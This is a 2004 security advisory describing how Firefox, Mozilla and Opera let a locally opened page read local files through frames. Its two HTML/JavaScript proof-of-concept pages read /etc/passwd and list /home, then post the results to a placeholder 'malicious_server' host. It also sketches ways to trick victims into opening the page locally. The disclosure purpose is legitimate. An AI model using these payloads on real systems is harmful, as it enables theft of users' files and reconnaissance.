Mozilla, Firefox, and Opera appear to allow access to the content from one frame from another, allowing for disclosure of the local directory structure. Tested versions include Firefox 1.0, Mozilla 1.7, and Opera 7.51 through 7.54.
0a0393dbbab84fc2cd6e30254f4fb3548969fc925b9176a7777b5533c92e4d2aDisclosure of local file content in Mozilla Firefox and Opera
Note:
I don't know if it could be considered really a security problem, anyway
i'll try to explain my ideas.
Sorry for my bad english.
Author: Giovanni Delvecchio
Applications affected:
- Firefox 1.0
- Mozilla 1.7
- Opera 7.54 (*)
( maybe also previous versions )
Tested versions:
- Firefox 1.0 on Linux and Windows
- Mozilla 1.7 on Windows
- Opera 7.51,..7.54 on Linux
Note:
The content of the following text could be applied also to other browsers, i
have checked just Mozilla, Firefox,Opera and Microsoft Internet Explorer.
Microsoft Internet Explorer seems not to be affected.
Description:
===========
A possible problem exist in some browsers where a frame can gain access to
attributes of another frame or iframe.
An application of this "bug?" could be the possibility to disclose local
directory structure.
Moreover ther is is a possibility for a remote users to get the content of
target users's local files.
This can be achieved by using of the method .innerHTML , such method isn't
standard but
it's supported from the most broswers like Opera and Mozila Firefox.
With Opera, i have noted that is possible read the content of local file
just if they have *.htm or *.hml extension.
PoC:
===
The following PoCs are refered to linux versions of Firefox and Opera, but
they can be applied also to Windows versions.
Read a local file by inner.HTML method:
--------------------------------------------------------
<HTML>
<BODY onLoad="ReadFileContent()" >
<iframe name="local_file" src="file:///etc/passwd" height=0
width=0></iframe>
<form name="module" method="post" action="http://malicious_server/grab.php"
ENCTYPE="text/plain">
<input name="content" type="hidden" size="300" >
</form>
<script>
function ReadFileContent(){
alert(local_file.document.all(0).innerHTML);
document.module.content.value+=local_file.document.all(0).innerHTML;
//send content to malicious_server
document.module.submit();
}
</script>
</body>
</html>
(*) it works with Firefox with Opera it works just a file has .htm or html
extension.
-----------------------------------------------------------
Enum /home directory structure:
----------------------------------------
<html>
<body onLoad="
for(i=0;i<local_files.document.links.length;i++)
{document.module.content.value+=local_files.document.links.item(i);}
alert(document.module.content.value);
//send list_files at malicious_server
document.module.submit();
">
<form name="module" method="post" action="http://malicious_server/grab.php"
ENCTYPE="text/plain">
<input name="content" type="hidden" size="300" >
</form>
<iframe name="local_files" src="file:///home/" height=0
width=0></iframe>
</body>
</html>
-------------------------------------------
Impact:
======
A malicious server could :
- obtain content of /home/ directory ( or c:\Document and Setting\ for
windows system ) and so know a set of usernames present on system target.
- know if a particolar program is installed on target system for a succesive
attack.
- Read confidential file content
- Read browser's cache
In opera it is located in ~/.opera/cache4, instead in Mozilla Firefox it's
in /.mozilla/firefox/$RANDOM-STRING.default/Cache.
Since is possible enum the directory structure , a malicious user could
easily know the path to firefox's cache
Anyway it cannot be exploited "directly" by a remote site, but only if the
page is opened from a local path ( file://localpath/code.htm), since the
iframe belongs to a local domain.
Note: with Internet Explorer these PoCs doesn't work even in local.
Possible method of remote exploitation:
================================
Question:
How could a malicious remote user exploit it ?
My idea is the following:
After that the user "victim" has required http://maliciuos_server/page.htm,
if malicious_server responds with a page containing an unknown Content-Type
field ( for example text/html. ,note the dot) ,the browser will show a
dialog window with some options (open, save, cancel). Choosing "Open" to
view this page, it will be downloaded and opened in local ; javascript code
will be executed in local context.
Obviously, if user chooses to save and after open it the result is equal.
(*) For Opera this method of remote exploitation requires that opera must
be setted as Default Application in "handler for saved files" whether the
user choose "Open" in the dialog window.
Another possible remote exploitation suggest by Lie Die Yu in response to a
my message on bugtraq
( http://www.securityfocus.com/archive/1/382855/2004-11-30/2004-12-06/0 ) :
"Ask target to open an HTML file in a remote SMBFS folder - expecting
him to mount -t smbfs [...] /mnt/[...] and open "/mnt/[...].html" in Mozilla
"
Vendor notice
==============
24th November 2004: I have contacted mozilla by security-at-mozilla.org
and Opera by its bug track page at https://bugs.opera.com/wizard/
No response from both at the moment.
Solution
========
- Disable Javascript
Note: I have not checked, but seems that Firefox 1.0 RC1 is not affected.
Best regards,
Giovanni Delvecchio
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